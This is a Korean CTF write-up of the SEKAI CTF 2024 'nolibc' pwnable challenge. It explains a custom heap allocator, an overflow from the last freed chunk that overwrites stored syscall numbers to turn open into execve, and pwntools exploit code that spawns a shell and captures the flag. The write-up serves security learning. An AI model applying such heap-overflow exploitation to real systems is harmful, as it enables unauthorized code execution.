2024.08.24 01:00 ~ 2024.08.26 01:00 동안 진행한 Project SEKAI CTF 2024의 pwnable 문제, nolibc에 대한 writeUp 이다.
[!] Did not find any GOT entries
[*] '/home/CTF/main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
주어진 source code는 없고, 실행 파일을 리버싱해야 한다.
리버싱한 source code
각 함수의 동작 과정 설명 (malloc_guess 함수는 제외)
String Storage 접속
프로그램은 String Storage에 대해 회원 가입과 로그인 이후 총 6개의 기능을 제공한다.
+) 회원 가입은 한 번만 가능하다.
[그림 1] 회원 가입 이후 String Storage에 로그인한 모습
String Storage가 제공하는 6가지 기능
[그림 2] String Storage의 6가지 기능
1) Add string : 현재 로그인한 계정에 문자열을 저장한다.
[그림 3] "mntly"
문자열을 저장한 모습
2) Delete string : 현재 로그인한 계정의 특정 인덱스의 문자열을 삭제한다.
[그림 4] 0 번째로 저장된 문자열 ("mntly"
)을 삭제하는 모습
3) View strings : 현재 로그인한 계정에 저장된 모든 문자열을 확인한다.
[그림 5] 현재 저장된 문자열을 확인하는 모습
4) Save to File : 현재 로그인한 계정에 저장된 모든 문자열을 하나의 파일로 저장한다.
[그림 6] 저장된 문자열을 MNTLY 파일로 저장하는 모습
[그림 7] MNTLY 파일의 내용
5) Load from File : 특정 파일에 저장된 모든 문자열을 현재 로그인한 계정에 저장한다.
[그림 8] test 파일의 내용
[그림 9] test 파일을 읽어 문자열에 저장한 모습
6) Logout : String Storage에서 로그아웃 한다.
[그림 10] String Storage에서 로그아웃 한 모습
+) Save to File과 Load from File에서 입력 값에 "flag"
가 존재할 경우 파일 입출력에 실패한다.
[그림 11] "flag"
필터링에 걸린 모습
할당하는 모든 메모리는 unk_5000의 주소부터 0x10000 byte의 메모리 공간에 할당된다.
IDA Pro로 정적 분석한 unk_5000의 주소인 0x5000부터 메모리 할당 과정에 대해 설명할 것이다.
[그림 12] IDA Pro로 확인한 unk_5000의 임시 주소
각 Chunk의 구조
메모리는 0x10 byte의 Chunk Header 뒤에 data가 저장되고,
Chunk Header에는 해당 Chunk의 크기와 다음 Chunk의 주소가 저장된다.
[그림 13] Chunk와 Chunk Header의 구조
[그림 14] 메모리 Chunk의 참조 그래프 (A : 할당된 chunk, F : 해제된 chunk)
인접한 두 chunk는 붙어 있다.
메모리 할당 과정
전달 받은 할당할 메모리 영역의 크기 (size
)를 0x10의 배수가 되도록 align 한다.
aligned_size = (size + 15) & 0xFFFFFFF0 = 0x110
해제된 메모리 영역을 돌며 align된 크기 (aligned_size
)보다 큰 Chunk size를 가진 Freed Chunk를 찾는다.
Chunk Header가 포함될 수 없는 경우
Chunk Size에 Chunk Header가 포함될 수 없다는 것은 [그림 15]와 같이 이전에 해제된 Chunk Header를 할당할 메모리 공간의 Chunk Header로 사용한다는 것을 의미한다. (Attack Surface)
[그림 15] 이전에 해제된 Chunk를 그대로 할당하는 경우
Chunk Header가 포함될 수 있는 경우
[그림 16]과 같이 남은 공간을 쪼개 Chunk를 새로 생성하고, 뒤의 공간을 해제된 Chunk로 남겨둔다.
[그림 16] 해제된 Chunk를 쪼개서 메모리를 할당하는 경우
Chunk 할당 이후 주소가 제일 낮은 해제된 메모리 Chunk를 가리키는 first_freed_heap 변수를 업데이트 한다.
malloc_guess 함수는 아래의 판단을 통해 chunk를 할당한다.
Chunk Size에 Chunk Header가 포함될 수 없다는 것은 [그림 15]과 같이 이전에 해제된 Chunk Header를 할당할 메모리 공간의 Chunk Header로 사용한다는 것을 의미한다. (Attack Surface)
하지만 이는 제일 마지막에 해제된 chunk에 대해서는 동작하지 않는다.
[그림 15]를 보면 알 수 있듯 할당 이전 첫 번째 freed chunk (Offset:0x30 ~ Offset:0x70
)의 chunk size인 0x30
은 Data 공간 (Offset:0x40 ~ Offset:0x70
)의 크기를 나타낸다.
하지만, 마지막 freed chunk (Offset:0xC0 ~ Offset:0x15000
)의 chunk size인 0xFF40
은 Data 공간의 크기가 아닌 남아있는 메모리 공간 전체 (Offset:0xC ~ Offset:0x15000
)의 크기를 나타낸다.
만약 [그림 17]과 같이 마지막 freed chunk만 해제되어 있는 상태에서 chunk size 만큼 할당하면 메모리 공간을 벗어나 0x10 byte
만큼 추가로 더 작성할 수 있다.
[그림 17] Buffer OverFlow (Attack Surface) 과정 모식도
IDA로 확인한 결과, 메모리 할당은 0x5000 ~ 0x15000
공간을 이용한다.
그리고 각종 함수를 구현할 때 사용하는 syscall을 위한 syscall number는 0x15000 이후 0x10 byte에 전역변수로 저장된다.
[그림 18] syscall number가 저장된 .data segment
그래서 [그림 17]과 같이 0x10 byte를 더 작성한다면 syscall number를 덮을 수 있어 syscall을 원하는 대로 바꿀 수 있다.
메모리 공간을 설정한다
문자열을 할당할 때 최대 257 byte 만큼만 할당할 수 있기에, 반복적으로 할당하며 마지막 chunk의 chunk size를 257보다 작게 되도록 만들어야 한다.
마지막 메모리 Chunk를 할당하며 open의 syscall number을 execve의 syscall로 변조한다.
할당한 메모리를 모두 해제하여 파일 읽기를 수행할 때 할당할 메모리 공간을 만들어준다.
Load from File로 "/bin/sh"
파일을 열도록 한다.
4.에서 "/bin/sh"
를 열려고 할 때, open의 syscall이 execve로 변조되었기에 해당 파일을 인자로 execve 함수가 실행된다.
메모리 공간을 설정한다.
def allocN(p, N):
p.sendlineafter(b"Choose an option: ", "1")
p.sendlineafter(b"Enter string length: ", str(N))
p.sendlineafter(b"Enter a string: ", "deadmntly")
time.sleep(0.005)
def RepeatAllocMN(p, M, N):
for i in range(M):
allocN(p, N)
RepeatAllocMN(p, 683, 16) # 0 ~ 682
RepeatAllocMN(p, 59, 255) # 683 ~ 683 + 58 : 0 ~ 741
RepeatAllocMN(p, 3, 16) # 741 ~ 741 + 2 : 0 ~ 743
할당할 크기와 횟수는 메모리 공간 계산 및 gdb debugging을 통해 알아내었다.
[그림 19] z3py로 특정 메모리 크기 (buf
)에 맞도록 특정 크기의 메모리를 할당하는 횟수 찾기
마지막 메모리 Chunk를 할당하며 open의 syscall number을 execve의 syscall로 변조한다. (execve의 syscall은 0x3b이다.)
p.sendlineafter(b"Choose an option: ", "1")
p.sendlineafter(b"Enter string length: ", str(0x2f))
p.sendlineafter(b"Enter a string: ", b"A" * 0x20 + p32(0) + p32(1) + p32(0x3b) + p32(3))
할당한 메모리를 모두 해제하여 파일 읽기를 수행할 때 할당할 메모리 공간을 만들어준다.
def freeN(p, N):
p.sendlineafter(b"Choose an option: ", "2")
p.sendlineafter(b"Enter the index of the string to delete: ", str(N))
def RepeatFreeMN(p, M, N):
for i in range(M):
freeN(p, N)
RepeatFreeMN(p, 744, 0)
Load from File로 "/bin/sh"
파일을 열도록 한다.
이 과정은 서버와 상호 작용하며 진행했다. (Execution Image 참조)
4.에서 "/bin/sh"
를 열려고 할 때, open의 syscall이 execve로 변조되었기에 해당 파일을 인자로 execve 함수가 실행된다.
이 과정은 서버와 상호 작용하며 진행했다. (Execution Image 참조)
Input Values - Write a Payload에서 말한 값들을 입력해 shell을 획득하는 파이썬 코드를 작성한다.
solution.py를 실행하면 open의 syscall number를 execve의 syscall number로 변조하고, 이후 Load from File을 진행해 "/bin/sh"
파일을 읽도록 한다. 이를 통해 "/bin/sh"
가 실행되며 shell을 획득한다.
[그림 20] open의 syscall을 변조하고 할당한 메모리를 삭제한 후 서버와 직접 통신을 시작하는 모습
[그림 21] 문자열이 정상적으로 삭제되었는 지 확인하는 모습
[그림 22] "/bin/sh" 파일 열기를 시도하는 모습
[그림 23] shell 획득 후 flag 파일을 찾는 모습
[그림 24] flag 획득
💡 SEKAI{shitty_heap_makes_a_shitty_security}
[그림 25] Exploit code의 첫 번째 pause에서 gdb로 메모리를 확인한 모습
[그림 25]의 왼쪽 사진을 보면 .data 영역은 0x564ecee88000 ~ 0x564ecee98070
인 것을 알 수 있고, 이를 통해 할당된 메모리는 0x564ecee88000 ~ 0x564ecee98000
을 사용한다는 것을 알 수 있다. 그리고 이후 0x10 byte에는 syscall이 저장되어있다. 이는 [그림 25]의 초록색 사각형으로 표시되어 있다.
[그림 25]의 오른쪽 사진의 빨간색 사각형은 각 chunk를 나타낸다. 그리고 두 번째 빨간색 사각형의 chunk size는 0x30 byte로 이는 전역 변수 syscall number 전체를 덮을 수 있다. (보라색 사각형)
[그림 26] Exploit code의 두 번째 pause에서 gdb로 메모리를 확인한 모습
[그림 26]은 마지막 chunk에서 0x30 byte를 저장하며 open의 syscall (0x02)을 execve의 syscall (0x3b)로 변조한 모습이다.
[1] https://snwo.tistory.com/133
[3] https://doongdangdoongdangdong.tistory.com/28
[4] https://rninche01.tistory.com/entry/Linux-system-call-table-정리x86-x64
[5] https://realsung.tistory.com/185
[6] nc ssl 접속 : chatGPT